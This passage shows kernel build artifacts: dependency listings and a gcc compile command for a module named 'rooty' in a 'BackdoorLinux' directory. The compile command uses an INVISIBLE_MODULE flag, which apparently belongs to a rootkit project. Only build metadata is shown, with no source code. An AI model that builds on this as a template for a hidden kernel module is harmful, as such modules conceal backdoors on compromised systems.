/usr/src/linux-headers-3.2.0-4-common/include/linux/cache.h \ 56 | $(wildcard include/config/arch/has/cache/line/size.h) \ 57 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kernel.h \ 58 | $(wildcard include/config/preempt/voluntary.h) \ 59 | $(wildcard include/config/debug/atomic/sleep.h) \ 60 | $(wildcard include/config/prove/locking.h) \ 61 | $(wildcard include/config/ring/buffer.h) \ 62 | $(wildcard include/config/numa.h) \ 63 | $(wildcard include/config/compaction.h) \ 64 | /usr/lib/gcc/i486-linux-gnu/4.6/include/stdarg.h \ 65 | /usr/src/linux-headers-3.2.0-4-common/include/linux/linkage.h \ 66 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/linkage.h \ 67 | $(wildcard include/config/x86/64.h) \ 68 | $(wildcard include/config/x86/alignment/16.h) \ 69 | /usr/src/linux-headers-3.2.0-4-common/include/linux/stringify.h \ 70 | /usr/src/linux-headers-3.2.0-4-common/include/linux/bitops.h \ 71 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/bitops.h \ 72 | $(wildcard include/config/x86/cmov.h) \ 73 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/alternative.h \ 74 | $(wildcard include/config/paravirt.h) \ 75 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/asm.h \ 76 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/cpufeature.h \ 77 | $(wildcard include/config/x86/invlpg.h) \ 78 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/required-features.h \ 79 | $(wildcard include/config/x86/minimum/cpu/family.h) \ 80 | $(wildcard include/config/math/emulation.h) \ 81 | $(wildcard include/config/x86/pae.h) \ 82 | $(wildcard include/config/x86/cmpxchg64.h) \ 83 | $(wildcard include/config/x86/use/3dnow.h) \ 84 | $(wildcard include/config/x86/p6/nop.h) \ 85 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitops/find.h \ 86 | $(wildcard include/config/generic/find/first/bit.h) \ 87 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitops/sched.h \ 88 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/arch_hweight.h \ 89 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitops/const_hweight.h \ 90 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitops/fls64.h \ 91 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitops/le.h \ 92 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/byteorder.h \ 93 | /usr/src/linux-headers-3.2.0-4-common/include/linux/byteorder/little_endian.h \ 94 | /usr/src/linux-headers-3.2.0-4-common/include/linux/swab.h \ 95 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/swab.h \ 96 | $(wildcard include/config/x86/bswap.h) \ 97 | /usr/src/linux-headers-3.2.0-4-common/include/linux/byteorder/generic.h \ 98 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitops/ext2-atomic-setbit.h \ 99 | /usr/src/linux-headers-3.2.0-4-common/include/linux/log2.h \ 100 | $(wildcard include/config/arch/has/ilog2/u32.h) \ 101 | $(wildcard include/config/arch/has/ilog2/u64.h) \ 102 | /usr/src/linux-headers-3.2.0-4-common/include/linux/typecheck.h \ 103 | /usr/src/linux-headers-3.2.0-4-common/include/linux/printk.h \ 104 | $(wildcard include/config/printk.h) \ 105 | $(wildcard include/config/dynamic/debug.h) \ 106 | /usr/src/linux-headers-3.2.0-4-common/include/linux/init.h \ 107 | $(wildcard include/config/hotplug.h) \ 108 | /usr/src/linux-headers-3.2.0-4-common/include/linux/dynamic_debug.h \ 109 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/bug.h \ 110 | $(wildcard include/config/bug.h) \ 111 | $(wildcard include/config/debug/bugverbose.h) \ 112 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bug.h \ 113 | $(wildcard include/config/generic/bug/relative/pointers.h) \ 114 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/div64.h \ 115 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/cache.h \ 116 | $(wildcard include/config/x86/l1/cache/shift.h) \ 117 | $(wildcard include/config/x86/internode/cache/shift.h) \ 118 | $(wildcard include/config/x86/vsmp.h) \ 119 | /usr/src/linux-headers-3.2.0-4-common/include/linux/seqlock.h \ 120 | /usr/src/linux-headers-3.2.0-4-common/include/linux/spinlock.h \ 121 | $(wildcard include/config/debug/spinlock.h) \ 122 | $(wildcard include/config/generic/lockbreak.h) \ 123 | $(wildcard include/config/preempt.h) \ 124 | $(wildcard include/config/debug/lock/alloc.h) \ 125 | /usr/src/linux-headers-3.2.0-4-common/include/linux/preempt.h \ 126 | $(wildcard include/config/debug/preempt.h) \ 127 | $(wildcard include/config/preempt/tracer.h) \ 128 | $(wildcard include/config/preempt/count.h) \ 129 | $(wildcard include/config/preempt/notifiers.h) \ 130 | /usr/src/linux-headers-3.2.0-4-common/include/linux/thread_info.h \ 131 | $(wildcard include/config/compat.h) \ 132 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/thread_info.h \ 133 | $(wildcard include/config/debug/stack/usage.h) \ 134 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/page.h \ 135 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/page_types.h \ 136 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/page_32_types.h \ 137 | $(wildcard include/config/highmem4g.h) \ 138 | $(wildcard include/config/highmem64g.h) \ 139 | $(wildcard include/config/page/offset.h) \ 140 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/page_32.h \ 141 | $(wildcard include/config/hugetlb/page.h) \ 142 | $(wildcard include/config/debug/virtual.h) \ 143 | $(wildcard include/config/flatmem.h) \ 144 | $(wildcard include/config/x86/3dnow.h) \ 145 | /usr/src/linux-headers-3.2.0-4-common/include/linux/string.h \ 146 | $(wildcard include/config/binary/printf.h) \ 147 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/string.h \ 148 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/string_32.h \ 149 | $(wildcard include/config/kmemcheck.h) \ 150 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/memory_model.h \ 151 | $(wildcard include/config/discontigmem.h) \ 152 | $(wildcard include/config/sparsemem/vmemmap.h) \ 153 | $(wildcard include/config/sparsemem.h) \ 154 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/getorder.h \ 155 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/processor.h \ 156 | $(wildcard include/config/cc/stackprotector.h) \ 157 | $(wildcard include/config/m386.h) \ 158 | $(wildcard include/config/m486.h) \ 159 | $(wildcard include/config/x86/debugctlmsr.h) \ 160 | $(wildcard include/config/cpu/sup/amd.h) \ 161 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/processor-flags.h \ 162 | $(wildcard include/config/vm86.h) \ 163 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/vm86.h \ 164 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/ptrace.h \ 165 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/ptrace-abi.h \ 166 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/segment.h \ 167 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/paravirt_types.h \ 168 | $(wildcard include/config/x86/local/apic.h) \ 169 | $(wildcard include/config/paravirt/debug.h) \ 170 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/desc_defs.h \ 171 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/kmap_types.h \ 172 | $(wildcard include/config/debug/highmem.h) \ 173 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/kmap_types.h \ 174 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/pgtable_types.h \ 175 | $(wildcard include/config/compat/vdso.h) \ 176 | $(wildcard include/config/proc/fs.h) \ 177 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/pgtable_32_types.h \ 178 | $(wildcard include/config/highmem.h) \ 179 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/pgtable-2level_types.h \ 180 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/pgtable-nopud.h \ 181 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/pgtable-nopmd.h \ 182 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/ptrace.h \ 183 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/math_emu.h \ 184 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/sigcontext.h \ 185 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/current.h \ 186 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/percpu.h \ 187 | $(wildcard include/config/x86/64/smp.h) \ 188 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/percpu.h \ 189 | $(wildcard include/config/have/setup/per/cpu/area.h) \ 190 | /usr/src/linux-headers-3.2.0-4-common/include/linux/threads.h \ 191 | $(wildcard include/config/nr/cpus.h) \ 192 | $(wildcard include/config/base/small.h) \ 193 | /usr/src/linux-headers-3.2.0-4-common/include/linux/percpu-defs.h \ 194 | $(wildcard include/config/debug/force/weak/per/cpu.h) \ 195 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/system.h \ 196 | $(wildcard include/config/ia32/emulation.h) \ 197 | $(wildcard include/config/x86/32/lazy/gs.h) \ 198 | $(wildcard include/config/x86/ppro/fence.h) \ 199 | $(wildcard include/config/x86/oostore.h) \ 200 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/cmpxchg.h \ 201 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/cmpxchg_32.h \ 202 | $(wildcard include/config/x86/cmpxchg.h) \ 203 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/nops.h \ 204 | $(wildcard include/config/mk7.h) \ 205 | /usr/src/linux-headers-3.2.0-4-common/include/linux/irqflags.h \ 206 | $(wildcard include/config/trace/irqflags.h) \ 207 | $(wildcard include/config/irqsoff/tracer.h) \ 208 | $(wildcard include/config/trace/irqflags/support.h) \ 209 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/irqflags.h \ 210 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/paravirt.h \ 211 | $(wildcard include/config/transparent/hugepage.h) \ 212 | $(wildcard include/config/paravirt/spinlocks.h) \ 213 | /usr/src/linux-headers-3.2.0-4-common/include/linux/cpumask.h \ 214 | $(wildcard include/config/cpumask/offstack.h) \ 215 | $(wildcard include/config/hotplug/cpu.h) \ 216 | $(wildcard include/config/debug/per/cpu/maps.h) \ 217 | $(wildcard include/config/disable/obsolete/cpumask/functions.h) \ 218 | /usr/src/linux-headers-3.2.0-4-common/include/linux/bitmap.h \ 219 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/msr.h \ 220 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/msr-index.h \ 221 | /usr/src/linux-headers-3.2.0-4-common/include/linux/ioctl.h \ 222 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/ioctl.h \ 223 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/ioctl.h \ 224 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/errno.h \ 225 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/errno.h \ 226 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/errno-base.h \ 227 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/cpumask.h \ 228 | /usr/src/linux-headers-3.2.0-4-common/include/linux/personality.h \ 229 | /usr/src/linux-headers-3.2.0-4-common/include/linux/math64.h \ 230 | /usr/src/linux-headers-3.2.0-4-common/include/linux/err.h \ 231 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/ftrace.h \ 232 | $(wildcard include/config/function/tracer.h) \ 233 | $(wildcard include/config/dynamic/ftrace.h) \ 234 | /usr/src/linux-headers-3.2.0-4-common/include/linux/atomic.h \ 235 | $(wildcard include/config/arch/has/atomic/or.h) \ 236 | $(wildcard include/config/generic/atomic64.h) \ 237 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/atomic.h \ 238 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/atomic64_32.h \ 239 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/atomic-long.h \ 240 | /usr/src/linux-headers-3.2.0-4-common/include/linux/bottom_half.h \ 241 | /usr/src/linux-headers-3.2.0-4-common/include/linux/spinlock_types.h \ 242 | /usr/src/linux-headers-3.2.0-4-common/include/linux/spinlock_types_up.h \ 243 | /usr/src/linux-headers-3.2.0-4-common/include/linux/lockdep.h \ 244 | $(wildcard include/config/lockdep.h) \ 245 | $(wildcard include/config/lock/stat.h) \ 246 | $(wildcard include/config/prove/rcu.h) \ 247 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rwlock_types.h \ 248 | /usr/src/linux-headers-3.2.0-4-common/include/linux/spinlock_up.h \ 249 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rwlock.h \ 250 | /usr/src/linux-headers-3.2.0-4-common/include/linux/spinlock_api_up.h \ 251 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kmod.h \ 252 | /usr/src/linux-headers-3.2.0-4-common/include/linux/gfp.h \ 253 | $(wildcard include/config/zone/dma.h) \ 254 | $(wildcard include/config/zone/dma32.h) \ 255 | /usr/src/linux-headers-3.2.0-4-common/include/linux/mmzone.h \ 256 | $(wildcard include/config/force/max/zoneorder.h) \ 257 | $(wildcard include/config/memory/hotplug.h) \ 258 | $(wildcard include/config/arch/populates/node/map.h) \ 259 | $(wildcard include/config/flat/node/mem/map.h) \ 260 | $(wildcard include/config/cgroup/mem/res/ctlr.h) \ 261 | $(wildcard include/config/no/bootmem.h) \ 262 | $(wildcard include/config/have/memory/present.h) \ 263 | $(wildcard include/config/have/memoryless/nodes.h) \ 264 | $(wildcard include/config/need/node/memmap/size.h) \ 265 | $(wildcard include/config/need/multiple/nodes.h) \ 266 | $(wildcard include/config/have/arch/early/pfn/to/nid.h) \ 267 | $(wildcard include/config/sparsemem/extreme.h) \ 268 | $(wildcard include/config/have/arch/pfn/valid.h) \ 269 | $(wildcard include/config/nodes/span/other/nodes.h) \ 270 | $(wildcard include/config/holes/in/zone.h) \ 271 | $(wildcard include/config/arch/has/holes/memorymodel.h) \ 272 | /usr/src/linux-headers-3.2.0-4-common/include/linux/wait.h \ 273 | /usr/src/linux-headers-3.2.0-4-common/include/linux/numa.h \ 274 | $(wildcard include/config/nodes/shift.h) \ 275 | /usr/src/linux-headers-3.2.0-4-common/include/linux/nodemask.h \ 276 | /usr/src/linux-headers-3.2.0-4-common/include/linux/pageblock-flags.h \ 277 | $(wildcard include/config/hugetlb/page/size/variable.h) \ 278 | include/generated/bounds.h \ 279 | /usr/src/linux-headers-3.2.0-4-common/include/linux/memory_hotplug.h \ 280 | $(wildcard include/config/memory/hotremove.h) \ 281 | $(wildcard include/config/have/arch/nodedata/extension.h) \ 282 | /usr/src/linux-headers-3.2.0-4-common/include/linux/notifier.h \ 283 | /usr/src/linux-headers-3.2.0-4-common/include/linux/errno.h \ 284 | /usr/src/linux-headers-3.2.0-4-common/include/linux/mutex.h \ 285 | $(wildcard include/config/debug/mutexes.h) \ 286 | $(wildcard include/config/have/arch/mutex/cpu/relax.h) \ 287 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rwsem.h \ 288 | $(wildcard include/config/rwsem/generic/spinlock.h) \ 289 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/rwsem.h \ 290 | /usr/src/linux-headers-3.2.0-4-common/include/linux/srcu.h \ 291 | /usr/src/linux-headers-3.2.0-4-common/include/linux/topology.h \ 292 | $(wildcard include/config/sched/smt.h) \ 293 | $(wildcard include/config/sched/mc.h) \ 294 | $(wildcard include/config/sched/book.h) \ 295 | $(wildcard include/config/use/percpu/numa/node/id.h) \ 296 | /usr/src/linux-headers-3.2.0-4-common/include/linux/smp.h \ 297 | $(wildcard include/config/use/generic/smp/helpers.h) \ 298 | /usr/src/linux-headers-3.2.0-4-common/include/linux/percpu.h \ 299 | $(wildcard include/config/need/per/cpu/embed/first/chunk.h) \ 300 | $(wildcard include/config/need/per/cpu/page/first/chunk.h) \ 301 | /usr/src/linux-headers-3.2.0-4-common/include/linux/pfn.h \ 302 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/topology.h \ 303 | $(wildcard include/config/x86/ht.h) \ 304 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/topology.h \ 305 | /usr/src/linux-headers-3.2.0-4-common/include/linux/mmdebug.h \ 306 | $(wildcard include/config/debug/vm.h) \ 307 | /usr/src/linux-headers-3.2.0-4-common/include/linux/workqueue.h \ 308 | $(wildcard include/config/debug/objects/work.h) \ 309 | $(wildcard include/config/freezer.h) \ 310 | /usr/src/linux-headers-3.2.0-4-common/include/linux/timer.h \ 311 | $(wildcard include/config/timer/stats.h) \ 312 | $(wildcard include/config/debug/objects/timers.h) \ 313 | /usr/src/linux-headers-3.2.0-4-common/include/linux/ktime.h \ 314 | $(wildcard include/config/ktime/scalar.h) \ 315 | /usr/src/linux-headers-3.2.0-4-common/include/linux/jiffies.h \ 316 | /usr/src/linux-headers-3.2.0-4-common/include/linux/timex.h \ 317 | /usr/src/linux-headers-3.2.0-4-common/include/linux/param.h \ 318 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/param.h \ 319 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/param.h \ 320 | $(wildcard include/config/hz.h) \ 321 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/timex.h \ 322 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/tsc.h \ 323 | $(wildcard include/config/x86/tsc.h) \ 324 | /usr/src/linux-headers-3.2.0-4-common/include/linux/debugobjects.h \ 325 | $(wildcard include/config/debug/objects.h) \ 326 | $(wildcard include/config/debug/objects/free.h) \ 327 | /usr/src/linux-headers-3.2.0-4-common/include/linux/sysctl.h \ 328 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rcupdate.h \ 329 | $(wildcard include/config/rcu/torture/test.h) \ 330 | $(wildcard include/config/tree/rcu.h) \ 331 | $(wildcard include/config/tree/preempt/rcu.h) \ 332 | $(wildcard include/config/preempt/rcu.h) \ 333 | $(wildcard include/config/no/hz.h) \ 334 | $(wildcard include/config/tiny/rcu.h) \ 335 | $(wildcard include/config/tiny/preempt/rcu.h) \ 336 | $(wildcard include/config/debug/objects/rcu/head.h) \ 337 | $(wildcard include/config/preempt/rt.h) \ 338 | /usr/src/linux-headers-3.2.0-4-common/include/linux/completion.h \ 339 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rcutiny.h \ 340 | $(wildcard include/config/rcu/boost.h) \ 341 | /usr/src/linux-headers-3.2.0-4-common/include/linux/elf.h \ 342 | /usr/src/linux-headers-3.2.0-4-common/include/linux/elf-em.h \ 343 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/elf.h \ 344 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/user.h \ 345 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/user_32.h \ 346 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/auxvec.h \ 347 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/vdso.h \ 348 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/desc.h \ 349 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/ldt.h \ 350 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/mmu.h \ 351 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kobject.h \ 352 | /usr/src/linux-headers-3.2.0-4-common/include/linux/sysfs.h \ 353 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kobject_ns.h \ 354 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kref.h \ 355 | /usr/src/linux-headers-3.2.0-4-common/include/linux/moduleparam.h \ 356 | $(wildcard include/config/alpha.h) \ 357 | $(wildcard include/config/ia64.h) \ 358 | $(wildcard include/config/ppc64.h) \ 359 | /usr/src/linux-headers-3.2.0-4-common/include/linux/tracepoint.h \ 360 | /usr/src/linux-headers-3.2.0-4-common/include/linux/jump_label.h \ 361 | $(wildcard include/config/jump/label.h) \ 362 | /usr/src/linux-headers-3.2.0-4-common/include/linux/export.h \ 363 | $(wildcard include/config/symbol/prefix.h) \ 364 | $(wildcard include/config/modversions.h) \ 365 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/module.h \ 366 | $(wildcard include/config/m586.h) \ 367 | $(wildcard include/config/m586tsc.h) \ 368 | $(wildcard include/config/m586mmx.h) \ 369 | $(wildcard include/config/mcore2.h) \ 370 | $(wildcard include/config/matom.h) \ 371 | $(wildcard include/config/m686.h) \ 372 | $(wildcard include/config/mpentiumii.h) \ 373 | $(wildcard include/config/mpentiumiii.h) \ 374 | $(wildcard include/config/mpentiumm.h) \ 375 | $(wildcard include/config/mpentium4.h) \ 376 | $(wildcard include/config/mk6.h) \ 377 | $(wildcard include/config/mk8.h) \ 378 | $(wildcard include/config/melan.h) \ 379 | $(wildcard include/config/mcrusoe.h) \ 380 | $(wildcard include/config/mefficeon.h) \ 381 | $(wildcard include/config/mwinchipc6.h) \ 382 | $(wildcard include/config/mwinchip3d.h) \ 383 | $(wildcard include/config/mcyrixiii.h) \ 384 | $(wildcard include/config/mviac3/2.h) \ 385 | $(wildcard include/config/mviac7.h) \ 386 | $(wildcard include/config/mgeodegx1.h) \ 387 | $(wildcard include/config/mgeode/lx.h) \ 388 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/module.h \ 389 | /usr/src/linux-headers-3.2.0-4-common/include/trace/events/module.h \ 390 | /usr/src/linux-headers-3.2.0-4-common/include/trace/define_trace.h \ 391 | /usr/src/linux-headers-3.2.0-4-common/include/linux/vermagic.h \ 392 | include/generated/utsrelease.h \ 393 | 394 | /home/user/BackdoorLinux/rooty/rooty.mod.o: $(deps_/home/user/BackdoorLinux/rooty/rooty.mod.o) 395 | 396 | $(deps_/home/user/BackdoorLinux/rooty/rooty.mod.o): 397 | -------------------------------------------------------------------------------- /rooty/.rooty.o.cmd: -------------------------------------------------------------------------------- 1 | cmd_/home/user/BackdoorLinux/rooty/rooty.o := gcc-4.6 -Wp,-MD,/home/user/BackdoorLinux/rooty/.rooty.o.d -nostdinc -isystem /usr/lib/gcc/i486-linux-gnu/4.6/include -I/usr/src/linux-headers-3.2.0-4-common/arch/x86/include -Iarch/x86/include/generated -Iinclude -I/usr/src/linux-headers-3.2.0-4-common/include -include /usr/src/linux-headers-3.2.0-4-common/include/linux/kconfig.h -I/home/user/BackdoorLinux/rooty -D__KERNEL__ -DINVISIBLE_MODULE -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-function-declaration -Wno-format-security -fno-delete-null-pointer-checks -Os -m32 -msoft-float -mregparm=3 -freg-struct-return -mpreferred-stack-boundary=2 -march=i486 -mtune=generic -Wa,-mtune=generic32 -ffreestanding -fstack-protector -DCONFIG_AS_CFI=1 -DCONFIG_AS_CFI_SIGNAL_FRAME=1 -DCONFIG_AS_CFI_SECTIONS=1 -pipe -Wno-sign-compare -fno-asynchronous-unwind-tables -mno-sse -mno-mmx -mno-sse2 -mno-3dnow -Wframe-larger-than=1024 -Wno-unused-but-set-variable -fomit-frame-pointer -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fconserve-stack -DCC_HAVE_ASM_GOTO -DMODULE -D"KBUILD_STR(s)=\#s" -D"KBUILD_BASENAME=KBUILD_STR(rooty)" -D"KBUILD_MODNAME=KBUILD_STR(rooty)" -c -o /home/user/BackdoorLinux/rooty/.tmp_rooty.o /home/user/BackdoorLinux/rooty/rooty.c 2 | 3 | source_/home/user/BackdoorLinux/rooty/rooty.o := /home/user/BackdoorLinux/rooty/rooty.c 4 | 5 | deps_/home/user/BackdoorLinux/rooty/rooty.o := \ 6 | /usr/src/linux-headers-3.2.0-4-common/include/linux/module.h \ 7 | $(wildcard include/config/sysfs.h) \ 8 | $(wildcard include/config/modules.h) \ 9 | $(wildcard include/config/unused/symbols.h) \ 10 | $(wildcard include/config/generic/bug.h) \ 11 | $(wildcard include/config/kallsyms.h) \ 12 | $(wildcard include/config/smp.h) \ 13 | $(wildcard include/config/tracepoints.h) \ 14 | $(wildcard include/config/tracing.h) \ 15 | $(wildcard include/config/event/tracing.h) \ 16 | $(wildcard include/config/ftrace/mcount/record.h) \ 17 | $(wildcard include/config/module/unload.h) \ 18 | $(wildcard include/config/constructors.h) \ 19 | $(wildcard include/config/debug/set/module/ronx.h) \ 20 | /usr/src/linux-headers-3.2.0-4-common/include/linux/list.h \ 21 | $(wildcard include/config/debug/list.h) \ 22 | /usr/src/linux-headers-3.2.0-4-common/include/linux/types.h \ 23 | $(wildcard include/config/uid16.h) \ 24 | $(wildcard include/config/lbdaf.h) \ 25 | $(wildcard include/config/arch/dma/addr/t/64bit.h) \ 26 | $(wildcard include/config/phys/addr/t/64bit.h) \ 27 | $(wildcard include/config/64bit.h) \ 28 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/types.h \ 29 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/types.h \ 30 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/int-ll64.h \ 31 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/bitsperlong.h \ 32 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitsperlong.h \ 33 | /usr/src/linux-headers-3.2.0-4-common/include/linux/posix_types.h \ 34 | /usr/src/linux-headers-3.2.0-4-common/include/linux/stddef.h \ 35 | /usr/src/linux-headers-3.2.0-4-common/include/linux/compiler.h \ 36 | $(wildcard include/config/sparse/rcu/pointer.h) \ 37 | $(wildcard include/config/trace/branch/profiling.h) \ 38 | $(wildcard include/config/profile/all/branches.h) \ 39 | $(wildcard include/config/enable/must/check.h) \ 40 | $(wildcard include/config/enable/warn/deprecated.h) \ 41 | /usr/src/linux-headers-3.2.0-4-common/include/linux/compiler-gcc.h \ 42 | $(wildcard include/config/arch/supports/optimized/inlining.h) \ 43 | $(wildcard include/config/optimize/inlining.h) \ 44 | /usr/src/linux-headers-3.2.0-4-common/include/linux/compiler-gcc4.h \ 45 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/posix_types.h \ 46 | $(wildcard include/config/x86/32.h) \ 47 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/posix_types_32.h \ 48 | /usr/src/linux-headers-3.2.0-4-common/include/linux/poison.h \ 49 | $(wildcard include/config/illegal/pointer/value.h) \ 50 | /usr/src/linux-headers-3.2.0-4-common/include/linux/const.h \ 51 | /usr/src/linux-headers-3.2.0-4-common/include/linux/stat.h \ 52 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/stat.h \ 53 | /usr/src/linux-headers-3.2.0-4-common/include/linux/time.h \ 54 | $(wildcard include/config/arch/uses/gettimeoffset.h) \ 55 | /usr/src/linux-headers-3.2.0-4-common/include/linux/cache.h \ 56 | $(wildcard include/config/arch/has/cache/line/size.h) \ 57 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kernel.h \ 58 | $(wildcard include/config/preempt/voluntary.h) \ 59 | $(wildcard include/config/debug/atomic/sleep.h) \ 60 | $(wildcard include/config/prove/locking.h) \ 61 | $(wildcard include/config/ring/buffer.h) \ 62 | $(wildcard include/config/numa.h) \ 63 | $(wildcard include/config/compaction.h) \ 64 | /usr/lib/gcc/i486-linux-gnu/4.6/include/stdarg.h \ 65 | /usr/src/linux-headers-3.2.0-4-common/include/linux/linkage.h \ 66 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/linkage.h \ 67 | $(wildcard include/config/x86/64.h) \ 68 | $(wildcard include/config/x86/alignment/16.h) \ 69 | /usr/src/linux-headers-3.2.0-4-common/include/linux/stringify.h \ 70 | /usr/src/linux-headers-3.2.0-4-common/include/linux/bitops.h \ 71 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/bitops.h \ 72 | $(wildcard include/config/x86/cmov.h) \ 73 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/alternative.h \ 74 | $(wildcard include/config/paravirt.h) \ 75 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/asm.h \ 76 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/cpufeature.h \ 77 | $(wildcard include/config/x86/invlpg.h) \ 78 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/required-features.h \ 79 | $(wildcard include/config/x86/minimum/cpu/family.h) \ 80 | $(wildcard include/config/math/emulation.h) \ 81 | $(wildcard include/config/x86/pae.h) \ 82 | $(wildcard include/config/x86/cmpxchg64.h) \ 83 | $(wildcard include/config/x86/use/3dnow.h) \ 84 | $(wildcard include/config/x86/p6/nop.h) \ 85 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitops/find.h \ 86 | $(wildcard include/config/generic/find/first/bit.h) \ 87 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/bitops/sched.h \ 88 | 